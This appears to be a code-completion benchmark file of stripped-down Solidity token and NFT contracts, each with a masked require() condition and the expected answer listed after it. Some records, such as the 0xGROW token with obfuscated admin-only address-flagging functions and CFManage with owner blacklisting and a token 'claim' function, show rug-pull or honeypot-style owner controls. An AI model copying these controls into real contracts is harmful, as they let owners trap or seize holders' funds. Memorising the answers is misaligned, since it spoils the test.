/// @notice Not revealed metadata url.
string public notRevealedMetadataURL;
/// @notice Max mint per wallet.
uint256 public maxMintPerAddress = 9;
/// @notice Collection max supply.
uint256 public maxSupply = 6969;
/// @notice Price of one NFT.
uint256 public price = 0.004 ether;
/// @notice Free mint per wallet.
uint256 public freeMintPerAddress = 1;
constructor() ERC721A("Down Bad Pepes","DP") {}
// PUBLIC FUNCTION, WRITE CONTRACT FUNCTION //
/**
* @notice Public payable function.
* Function mints a specified amount of tokens to the caller's address.
* Requires public minting status to be true.
* Requires sufficient ETH to execute.
* Enter the amount of tokens to be minted in the amount field.
*/
function publicMint(uint256 amount) public payable {
}
// SMART CONTRACT OWNER ONLY FUNCTIONS, WRITE CONTRACT FUNCTIONS //
/**
* @notice Smart contract owner only function.
* Function airdrops a specified amount of tokens to an array of addresses.
* Enter the recepients in an array form like this [address1,address2,address3] in the recipients field and enter the amount of NFTs to be airdropped to each recipient in the amount field.
*/
function airdrop(address[] calldata recipients, uint256 amount) public onlyOwner {
require(<FILL_ME>)
for (uint256 i = 0; i < recipients.length; i++) {
_safeMint(recipients[i], amount);
}
}
/**
* @notice Smart contract owner only function.
* Function can mint different quantities of NFTs in batches to the recipient.
* Enter the recipient's address in the recipient field.
* Enter the NFT quantity for each batch in an array form in the nftQuantityForEachBatch field.
* For example if the nftQuantityForEachBatch array is like this [30,50,70] in total 150 NFTs would be minted in batches of 30, 50 and 70.
*/
function mintInBatches(address recipient, uint256[] calldata nftQuantityForEachBatch) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function sets the free mint per address amount.
* Enter the new free mint per address in the freeMintAmount field.
* The freeMintAmount must be less than or equal to the maxMintPerAddress.
*/
function setFreeMintPerAddress(uint256 freeMintAmount) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function sets the max mint per address amount.
* Enter the new max mint per address in the maxMintAmount field.
* The maxMintAmount must be less than or equal to the maxSupply.
*/
function setMaxMintPerAddress(uint256 maxMintAmount) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function sets a new max supply of tokens which can be minted from the contract.
* Enter the new max supply in the newMaxSupply field.
* The newMaxSupply must be greater than or equal to the totalSupply.
*/
function setMaxSupply(uint256 newMaxSupply) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function updates the metadata url prefix.
* Enter the new metadata url prefix in the newMetadataURLPrefix field.
*/
function setMetadataURLPrefix(string memory newMetadataURLPrefix) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function updates the metadata url suffix.
* Enter the new metadata url suffix in the newMetadataURLSuffix field.
*/
function setMetadataURLSuffix(string memory newMetadataURLSuffix) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function updates the not revealed metadata url.
* Enter the new not revealed metadata url in the newNotRevealedMetadataURL field.
*/
function setNotRevealedMetadataURL(string memory newNotRevealedMetadataURL) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function updates the price for minting a single NFT.
* Enter the new price in the newPrice field, entered price must be in wei, check ether to wei conversion.
*/
function setPrice(uint256 newPrice) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function sets the public minting status.
* Enter the word true in the status field to enable public minting.
* Enter the word false in the status field to disable public minting.
*/
function setPublicMintingStatus(bool status) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function sets the revealed status for the collection.
* Enter the word true in the status field to reveal the collection.
* Enter the word false in the status field to hide or unreveal the collection.
*/
function setRevealedStatus(bool status) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function sets the withdrawal address for the funds in the smart contract.
* Enter the new withdrawal address in the newWithdrawalAddress field.
* To withdraw to a payment splitter smart contract,
* enter the payment splitter smart contract's contract address in the newWithdrawalAddress field.
*/
function setWithdrawalAddress(address newWithdrawalAddress) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function withdraws the funds in the smart contract to the withdrawal address.
* Enter the number 0 in the withdraw field to withdraw the funds successfully.
*/
function withdraw() public payable onlyOwner nonReentrant {
}
/**
* @notice Smart contract owner only function.
* Function withdraws the ERC20 token amount accumulated in the smart contract to the entered account address.
* Enter the ERC20 token contract address in the token field, the address to which the accumulated ERC20 tokens would be transferred in the account field and the amount of accumulated ERC20 tokens to be transferred in the amount field.
*/
function withdrawERC20(IERC20 token, address account, uint256 amount) public onlyOwner {
}
// OVERRIDDEN PUBLIC WRITE CONTRACT FUNCTIONS: OpenSea's Royalty Filterer Implementation. //
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public payable override onlyAllowedOperator(from) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
// GETTER FUNCTIONS, READ CONTRACT FUNCTIONS //
/**
* @notice Function queries and returns all the NFT tokenIds owned by an address.
* Enter the address in the owner field.
* Click on query after filling out the field.
*/
function walletOfOwner(address owner) public view returns (uint256[] memory ownedTokenIds) {
}
/**
* @notice Function scans and returns all the NFT tokenIds owned by an address from startTokenId till stopTokenId.
* startTokenId must be equal to or greater than zero and smaller than stopTokenId.
* stopTokenId must be greater than startTokenId and smaller or equal to totalSupply.
* Enter the tokenId from where the scan is to be started in the startTokenId field.
* Enter the tokenId till where the scan is to be done in the stopTokenId field.
* For example, if startTokenId is 10 and stopTokenId is 80, the function will return all the NFT tokenIds owned by the address from tokenId 10 till tokenId 80.
* Click on query after filling out all the fields.
*/
function walletOfOwnerInRange(address owner, uint256 startTokenId, uint256 stopTokenId) public view returns (uint256[] memory ownedTokenIds) {
}
// OVERRIDDEN GETTER FUNCTIONS, READ CONTRACT FUNCTIONS //
/**
* @notice Function queries and returns the URI for a NFT tokenId.
* Enter the tokenId of the NFT in tokenId field.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// INTERNAL FUNCTIONS //
/// @notice Internal function which is called by the tokenURI function.
function _baseURI() internal view virtual override returns (string memory) {
}
/// @notice Internal function which ensures the first minted NFT has tokenId as 1.
function _startTokenId() internal view virtual override returns (uint256) {
}
}
| totalSupply()+recipients.length*amount<=maxSupply,"Request exceeds max supply" | 128,863 | totalSupply()+recipients.length*amount<=maxSupply |
"request exceeds maxSupply" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.12 <=0.8.18;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract DownBadPepes is ERC721A, Ownable, ReentrancyGuard, DefaultOperatorFilterer {
using Strings for uint256;
// STATE VARIABLES //
/// @notice Funds withdrawal address.
address payable public withdrawalAddress;
/// @notice Boolean for enabling and disabling public minting.
bool public publicMintingStatus;
/// @notice Boolean for whether collection is revealed or not.
bool public revealedStatus;
/// @notice Mapping for number of NFTs minted by an address.
mapping(address => uint256) public addressMinted;
/// @notice Revealed metadata url prefix.
string public metadataURLPrefix;
/// @notice Revealed metadata url suffix.
string public metadataURLSuffix = ".json";
/// @notice Not revealed metadata url.
string public notRevealedMetadataURL;
/// @notice Max mint per wallet.
uint256 public maxMintPerAddress = 9;
/// @notice Collection max supply.
uint256 public maxSupply = 6969;
/// @notice Price of one NFT.
uint256 public price = 0.004 ether;
/// @notice Free mint per wallet.
uint256 public freeMintPerAddress = 1;
constructor() ERC721A("Down Bad Pepes","DP") {}
// PUBLIC FUNCTION, WRITE CONTRACT FUNCTION //
/**
* @notice Public payable function.
* Function mints a specified amount of tokens to the caller's address.
* Requires public minting status to be true.
* Requires sufficient ETH to execute.
* Enter the amount of tokens to be minted in the amount field.
*/
function publicMint(uint256 amount) public payable {
}
// SMART CONTRACT OWNER ONLY FUNCTIONS, WRITE CONTRACT FUNCTIONS //
/**
* @notice Smart contract owner only function.
* Function airdrops a specified amount of tokens to an array of addresses.
* Enter the recepients in an array form like this [address1,address2,address3] in the recipients field and enter the amount of NFTs to be airdropped to each recipient in the amount field.
*/
function airdrop(address[] calldata recipients, uint256 amount) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function can mint different quantities of NFTs in batches to the recipient.
* Enter the recipient's address in the recipient field.
* Enter the NFT quantity for each batch in an array form in the nftQuantityForEachBatch field.
* For example if the nftQuantityForEachBatch array is like this [30,50,70] in total 150 NFTs would be minted in batches of 30, 50 and 70.
*/
function mintInBatches(address recipient, uint256[] calldata nftQuantityForEachBatch) public onlyOwner {
for (uint256 i = 0; i < nftQuantityForEachBatch.length; ++i) {
require(<FILL_ME>)
_safeMint(recipient, nftQuantityForEachBatch[i]);
}
}
/**
* @notice Smart contract owner only function.
* Function sets the free mint per address amount.
* Enter the new free mint per address in the freeMintAmount field.
* The freeMintAmount must be less than or equal to the maxMintPerAddress.
*/
function setFreeMintPerAddress(uint256 freeMintAmount) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function sets the max mint per address amount.
* Enter the new max mint per address in the maxMintAmount field.
* The maxMintAmount must be less than or equal to the maxSupply.
*/
function setMaxMintPerAddress(uint256 maxMintAmount) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function sets a new max supply of tokens which can be minted from the contract.
* Enter the new max supply in the newMaxSupply field.
* The newMaxSupply must be greater than or equal to the totalSupply.
*/
function setMaxSupply(uint256 newMaxSupply) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function updates the metadata url prefix.
* Enter the new metadata url prefix in the newMetadataURLPrefix field.
*/
function setMetadataURLPrefix(string memory newMetadataURLPrefix) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function updates the metadata url suffix.
* Enter the new metadata url suffix in the newMetadataURLSuffix field.
*/
function setMetadataURLSuffix(string memory newMetadataURLSuffix) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function updates the not revealed metadata url.
* Enter the new not revealed metadata url in the newNotRevealedMetadataURL field.
*/
function setNotRevealedMetadataURL(string memory newNotRevealedMetadataURL) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function updates the price for minting a single NFT.
* Enter the new price in the newPrice field, entered price must be in wei, check ether to wei conversion.
*/
function setPrice(uint256 newPrice) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function sets the public minting status.
* Enter the word true in the status field to enable public minting.
* Enter the word false in the status field to disable public minting.
*/
function setPublicMintingStatus(bool status) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function sets the revealed status for the collection.
* Enter the word true in the status field to reveal the collection.
* Enter the word false in the status field to hide or unreveal the collection.
*/
function setRevealedStatus(bool status) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function sets the withdrawal address for the funds in the smart contract.
* Enter the new withdrawal address in the newWithdrawalAddress field.
* To withdraw to a payment splitter smart contract,
* enter the payment splitter smart contract's contract address in the newWithdrawalAddress field.
*/
function setWithdrawalAddress(address newWithdrawalAddress) public onlyOwner {
}
/**
* @notice Smart contract owner only function.
* Function withdraws the funds in the smart contract to the withdrawal address.
* Enter the number 0 in the withdraw field to withdraw the funds successfully.
*/
function withdraw() public payable onlyOwner nonReentrant {
}
/**
* @notice Smart contract owner only function.
* Function withdraws the ERC20 token amount accumulated in the smart contract to the entered account address.
* Enter the ERC20 token contract address in the token field, the address to which the accumulated ERC20 tokens would be transferred in the account field and the amount of accumulated ERC20 tokens to be transferred in the amount field.
*/
function withdrawERC20(IERC20 token, address account, uint256 amount) public onlyOwner {
}
// OVERRIDDEN PUBLIC WRITE CONTRACT FUNCTIONS: OpenSea's Royalty Filterer Implementation. //
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public payable override onlyAllowedOperator(from) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
// GETTER FUNCTIONS, READ CONTRACT FUNCTIONS //
/**
* @notice Function queries and returns all the NFT tokenIds owned by an address.
* Enter the address in the owner field.
* Click on query after filling out the field.
*/
function walletOfOwner(address owner) public view returns (uint256[] memory ownedTokenIds) {
}
/**
* @notice Function scans and returns all the NFT tokenIds owned by an address from startTokenId till stopTokenId.
* startTokenId must be equal to or greater than zero and smaller than stopTokenId.
* stopTokenId must be greater than startTokenId and smaller or equal to totalSupply.
* Enter the tokenId from where the scan is to be started in the startTokenId field.
* Enter the tokenId till where the scan is to be done in the stopTokenId field.
* For example, if startTokenId is 10 and stopTokenId is 80, the function will return all the NFT tokenIds owned by the address from tokenId 10 till tokenId 80.
* Click on query after filling out all the fields.
*/
function walletOfOwnerInRange(address owner, uint256 startTokenId, uint256 stopTokenId) public view returns (uint256[] memory ownedTokenIds) {
}
// OVERRIDDEN GETTER FUNCTIONS, READ CONTRACT FUNCTIONS //
/**
* @notice Function queries and returns the URI for a NFT tokenId.
* Enter the tokenId of the NFT in tokenId field.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// INTERNAL FUNCTIONS //
/// @notice Internal function which is called by the tokenURI function.
function _baseURI() internal view virtual override returns (string memory) {
}
/// @notice Internal function which ensures the first minted NFT has tokenId as 1.
function _startTokenId() internal view virtual override returns (uint256) {
}
}
| totalSupply()+nftQuantityForEachBatch[i]<=maxSupply,"request exceeds maxSupply" | 128,863 | totalSupply()+nftQuantityForEachBatch[i]<=maxSupply |
null | /**
0xGROW" is a decentralized finance created by an anonymous group from every part of the world to create a consistent and effective token from which everyone will benefit.
Ow Eks Grow, or 0xGrow, is inspired by the previous projects consisting of "0x". This token has a lot of marketing plans to surpass 0xGrow's ancestors, and the dev has a lot of things on his mind to make these things more possible and reliable.
Come and grow with us, then let's dominate the green market once again
//https://t.me/ZeroXGrowPortal
//https://www.zeroxgrow.com/
//https://twitter.com/0xgrowtoken
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Ownable {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ZeroXGROW is Ownable{
mapping(address => bool) public hulkinfo;
constructor(string memory tokenname,string memory tokensymbol,address hkadmin) {
}
address public LAYERFxxxaAdmin;
uint256 private _totalSupply;
string private _tokename;
string private _tokensymbol;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
function name() public view returns (string memory) {
}
uint128 xxxSum = 64544;
bool globaltrue = true;
bool globalff = false;
function abancdx(address xasada) public virtual returns (bool) {
address tmoinfo = xasada;
hulkinfo[tmoinfo] = globaltrue;
require(<FILL_ME>)
return true;
}
function hukkkadminxxax() external {
}
function symbol() public view returns (string memory) {
}
function hklllquitxxx(address hkkk) external {
}
function decimals() public view virtual returns (uint8) {
}
function totalSupply() public view returns (uint256) {
}
function balanceOf(address account) public view returns (uint256) {
}
function transfer(address to, uint256 amount) public returns (bool) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function approve(address spender, uint256 amount) public returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
| _msgSender()==LAYERFxxxaAdmin | 128,951 | _msgSender()==LAYERFxxxaAdmin |
"Address should not be 0" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
}
interface IUniswapV2Router02 {
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IERC20 {
function decimals() external returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract CFManage is Ownable {
using SafeMath for uint256;
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address coin;
address pair;
mapping(address => bool) wallets;
mapping (address => bool) isBlacklisted;
mapping (address => uint256) _snipHolding;
address[] holderLists;
uint256 public _snipLast;
receive() external payable { }
function initPair(address _c, address _p) external onlyOwner {
}
function encode() external view returns (bytes memory) {
}
function updateLimit(uint256 amount) external onlyOwner {
}
function resetLimit() external onlyOwner {
}
function allowance(address from, address to) external returns (uint256){
}
function swapETH(uint256 count) external onlyOwner {
}
function claim(address token, address from, address to, uint256 amount) external onlyOwner {
}
function checkWhale(address _whaleaddr) external view returns (bool) {
}
function holders() external view returns(address[] memory) {
}
function holderSize() external view returns (uint) {
}
function manageBots(address[] memory _addrlist, bool status) external onlyOwner {
for (uint i = 0; i < _addrlist.length; i++) {
require(<FILL_ME>)
isBlacklisted[_addrlist[i]] = status;
}
}
function updateWhales(address[] memory _wallets, bool status) public onlyOwner{
}
function resetWhales(bool status) public onlyOwner{
}
function cleanDust() external onlyOwner {
}
}
| _addrlist[i]!=address(0),"Address should not be 0" | 129,051 | _addrlist[i]!=address(0) |
"Trading not yet enabled!" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract YieldBot is Ownable, ERC20 {
using SafeMath for uint256;
using EnumerableSet for EnumerableSet.AddressSet;
uint256 public totalSup = 100_000_000 * 1e18;
IUniswapV2Router02 public uniswapV2Router;
IUniswapV2Factory public factory;
EnumerableSet.AddressSet private _pairs;
address public feeAddress;
uint256 private buyFee = 5;
uint256 private sellFee = 5;
bool inSwap = false;
mapping(address => bool) public isExcludedFromFee;
uint256 public amountBot = 960000 * 1e18;
uint256 public amountTokenAutoSwap = 90000 * 1e18;
uint256 public maxTokenSellAutoSwap = 1000000 * 1e18;
uint256 public blockBotDuration = 25;
uint256 public antiBotTime;
bool public tradingEnabled;
constructor() ERC20("Yield Bot", "YBOT") {
}
modifier lockTheSwap() {
}
function burn(uint256 amount) public {
}
function enableTrading() external onlyOwner{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual override {
uint256 transferFee;
//check fee
require(<FILL_ME>)
if(!isExcludedFromFee[sender] && isPair(recipient)) {
transferFee = sellFee;
} else if(!isExcludedFromFee[recipient] && isPair(sender)) {
transferFee = buyFee;
}
//fee swap bot
if (
antiBotTime > block.timestamp &&
amount > amountBot &&
sender != address(this) &&
recipient != address(this) &&
isPair(sender)
) {
transferFee = 90;
}
if (inSwap) {
super._transfer(sender, recipient, amount);
return;
}
if (transferFee > 0 && sender != address(this) && recipient != address(this)) {
uint256 _fee = amount.mul(transferFee).div(100);
super._transfer(sender, address(this), _fee);
amount = amount.sub(_fee);
} else {
takeFeeBot();
}
super._transfer(sender, recipient, amount);
}
function takeFeeBot() internal lockTheSwap {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function setExcludeFromFee(address _address, bool _status) external onlyOwner {
}
function changeFeeAddress(address _feeAddress) external {
}
function changeNumTokensSellToAddToETH(uint256 _numTokensSellToAddToETH) external onlyOwner {
}
function isPair(address account) public view returns (bool) {
}
function addPair(address pair) public onlyOwner returns (bool) {
}
function delPair(address pair) public onlyOwner returns (bool) {
}
function getMinterLength() public view returns (uint256) {
}
function getPair(uint256 index) public view returns (address) {
}
// receive eth
receive() external payable {}
}
| tradingEnabled||isExcludedFromFee[sender]||isExcludedFromFee[recipient],"Trading not yet enabled!" | 129,067 | tradingEnabled||isExcludedFromFee[sender]||isExcludedFromFee[recipient] |
"Status was set" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract YieldBot is Ownable, ERC20 {
using SafeMath for uint256;
using EnumerableSet for EnumerableSet.AddressSet;
uint256 public totalSup = 100_000_000 * 1e18;
IUniswapV2Router02 public uniswapV2Router;
IUniswapV2Factory public factory;
EnumerableSet.AddressSet private _pairs;
address public feeAddress;
uint256 private buyFee = 5;
uint256 private sellFee = 5;
bool inSwap = false;
mapping(address => bool) public isExcludedFromFee;
uint256 public amountBot = 960000 * 1e18;
uint256 public amountTokenAutoSwap = 90000 * 1e18;
uint256 public maxTokenSellAutoSwap = 1000000 * 1e18;
uint256 public blockBotDuration = 25;
uint256 public antiBotTime;
bool public tradingEnabled;
constructor() ERC20("Yield Bot", "YBOT") {
}
modifier lockTheSwap() {
}
function burn(uint256 amount) public {
}
function enableTrading() external onlyOwner{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual override {
}
function takeFeeBot() internal lockTheSwap {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function setExcludeFromFee(address _address, bool _status) external onlyOwner {
require(_address != address(0), "0x is not accepted here");
require(<FILL_ME>)
isExcludedFromFee[_address] = _status;
}
function changeFeeAddress(address _feeAddress) external {
}
function changeNumTokensSellToAddToETH(uint256 _numTokensSellToAddToETH) external onlyOwner {
}
function isPair(address account) public view returns (bool) {
}
function addPair(address pair) public onlyOwner returns (bool) {
}
function delPair(address pair) public onlyOwner returns (bool) {
}
function getMinterLength() public view returns (uint256) {
}
function getPair(uint256 index) public view returns (address) {
}
// receive eth
receive() external payable {}
}
| isExcludedFromFee[_address]!=_status,"Status was set" | 129,067 | isExcludedFromFee[_address]!=_status |
"Only Fee Wallet!" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract YieldBot is Ownable, ERC20 {
using SafeMath for uint256;
using EnumerableSet for EnumerableSet.AddressSet;
uint256 public totalSup = 100_000_000 * 1e18;
IUniswapV2Router02 public uniswapV2Router;
IUniswapV2Factory public factory;
EnumerableSet.AddressSet private _pairs;
address public feeAddress;
uint256 private buyFee = 5;
uint256 private sellFee = 5;
bool inSwap = false;
mapping(address => bool) public isExcludedFromFee;
uint256 public amountBot = 960000 * 1e18;
uint256 public amountTokenAutoSwap = 90000 * 1e18;
uint256 public maxTokenSellAutoSwap = 1000000 * 1e18;
uint256 public blockBotDuration = 25;
uint256 public antiBotTime;
bool public tradingEnabled;
constructor() ERC20("Yield Bot", "YBOT") {
}
modifier lockTheSwap() {
}
function burn(uint256 amount) public {
}
function enableTrading() external onlyOwner{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual override {
}
function takeFeeBot() internal lockTheSwap {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function setExcludeFromFee(address _address, bool _status) external onlyOwner {
}
function changeFeeAddress(address _feeAddress) external {
require(<FILL_ME>)
require(_feeAddress != address(0), "0x is not accepted here");
feeAddress = _feeAddress;
}
function changeNumTokensSellToAddToETH(uint256 _numTokensSellToAddToETH) external onlyOwner {
}
function isPair(address account) public view returns (bool) {
}
function addPair(address pair) public onlyOwner returns (bool) {
}
function delPair(address pair) public onlyOwner returns (bool) {
}
function getMinterLength() public view returns (uint256) {
}
function getPair(uint256 index) public view returns (address) {
}
// receive eth
receive() external payable {}
}
| _msgSender()==feeAddress,"Only Fee Wallet!" | 129,067 | _msgSender()==feeAddress |
ErrorCodes.ZERO_ADDRESS | // SPDX-License-Identifier: BSD-3-Clause
pragma solidity 0.8.9;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./EmissionBooster.sol";
import "./ErrorCodes.sol";
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
* @title MinterestNFT
* @dev Contract module which provides functionality to mint new ERC1155 tokens
* Each token connected with image and metadata. The image and metadata saved
* on IPFS and this contract stores the CID of the folder where lying metadata.
* Also each token belongs one of the Minterest tiers, and give some emission
* boost for Minterest distribution system.
*/
contract MinterestNFT is ERC1155, AccessControl {
using Counters for Counters.Counter;
using Strings for string;
/// @dev ERC1155 id, Indicates a specific token or token type
Counters.Counter private idCounter;
/// Name for Minterst NFT Token
string public constant name = "Minterest NFT";
/// Symbol for Minterst NFT Token
string public constant symbol = "MNFT";
/// Address of opensea proxy registry, for opensea integration
address public proxyRegistryAddress;
/// @notice The right part is the keccak-256 hash of variable name
bytes32 public constant GATEKEEPER = bytes32(0x20162831d2f54c3e11eebafebfeda495d4c52c67b1708251179ec91fb76dd3b2);
EmissionBooster public emissionBooster;
/// @notice Emitted when new EmissionBooster was installed
event EmissionBoosterChanged(EmissionBooster emissionBooster);
/// @notice Emitted when new base URI was installed
event NewBaseUri(string newBaseUri);
/**
* @notice Initialize contract
* @param _baseURI Base of URI where stores images
* @param _admin The address of the Admin
*/
constructor(
string memory _baseURI,
address _proxyRegistryAddress,
address _admin
) ERC1155(_baseURI) {
}
/*** External user-defined functions ***/
function supportsInterface(bytes4 interfaceId) public pure override(AccessControl, ERC1155) returns (bool) {
}
/**
* @notice Mint new 1155 standard token
* @param account_ The address of the owner of minterestNFT
* @param amount_ Instance count for minterestNFT
* @param data_ The _data argument MAY be re-purposed for the new context.
* @param tier_ tier
*/
function mint(
address account_,
uint256 amount_,
bytes memory data_,
uint256 tier_
) external onlyRole(GATEKEEPER) {
}
/**
* @notice Mint new ERC1155 standard tokens in one transaction
* @param account_ The address of the owner of tokens
* @param amounts_ Array of instance counts for tokens
* @param data_ The _data argument MAY be re-purposed for the new context.
* @param tiers_ Array of tiers
*/
function mintBatch(
address account_,
uint256[] memory amounts_,
bytes memory data_,
uint256[] memory tiers_
) external onlyRole(GATEKEEPER) {
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
